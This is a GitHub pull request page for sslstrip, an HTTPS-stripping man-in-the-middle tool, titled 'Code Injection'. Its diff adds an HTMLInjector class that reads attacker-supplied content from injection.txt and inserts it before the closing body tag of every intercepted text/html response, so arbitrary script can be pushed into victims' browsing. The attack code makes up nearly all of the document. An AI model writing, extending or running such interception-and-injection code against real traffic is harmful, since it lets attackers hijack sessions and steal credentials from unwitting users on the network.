Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Code Injection #2

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions sslstrip.py
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,7 @@
from sslstrip.StrippingProxy import StrippingProxy
from sslstrip.URLMonitor import URLMonitor
from sslstrip.CookieCleaner import CookieCleaner
from sslstrip.HTMLInjector import HTMLInjector

import sys, getopt, logging, traceback, string, os

Expand Down Expand Up @@ -92,6 +93,13 @@ def main(argv):
logging.basicConfig(level=logLevel, format='%(asctime)s %(message)s',
filename=logFile, filemode='w')

try:
# make the file a command line option?
with open('injection.txt', 'r') as f:
HTMLInjector.getInstance().setInjectionCode(f.read())
except IOError as e:
logging.warning("Couldn't read injection.txt")

URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon)
CookieCleaner.getInstance().setEnabled(killSessions)

Expand Down
26 changes: 26 additions & 0 deletions sslstrip/HTMLInjector.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
import logging

class HTMLInjector:
""" This class allows you to inject data into the response returned
from the web server.
"""

_instance = None

@staticmethod
def getInstance():
if HTMLInjector._instance is None:
HTMLInjector._instance = HTMLInjector()

return HTMLInjector._instance

def __init__(self):
self.injection_code = []

def setInjectionCode(self, code):
self.injection_code.append(code)

def inject(self, data):
injection_code = ' '.join(self.injection_code)

return data.replace('</body>', '%s</body>' % injection_code)
9 changes: 8 additions & 1 deletion sslstrip/ServerConnection.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@

from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor
from HTMLInjector import HTMLInjector

class ServerConnection(HTTPClient):

Expand All @@ -39,6 +40,7 @@ def __init__(self, command, uri, postData, headers, client):
self.headers = headers
self.client = client
self.urlMonitor = URLMonitor.getInstance()
self.HTMLInjector = HTMLInjector.getInstance()
self.isImageRequest = False
self.isCompressed = False
self.contentLength = None
Expand Down Expand Up @@ -125,7 +127,12 @@ def handleResponse(self, data):

logging.log(self.getLogLevel(), "Read from server:\n" + data)

data = self.replaceSecureLinks(data)
data = self.replaceSecureLinks(data)
content_type = self.client.responseHeaders.getRawHeaders('content-type')

# only want to inject into text/html pages
if content_type and content_type[0] == 'text/html':
data = self.HTMLInjector.inject(data)

if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))
Expand Down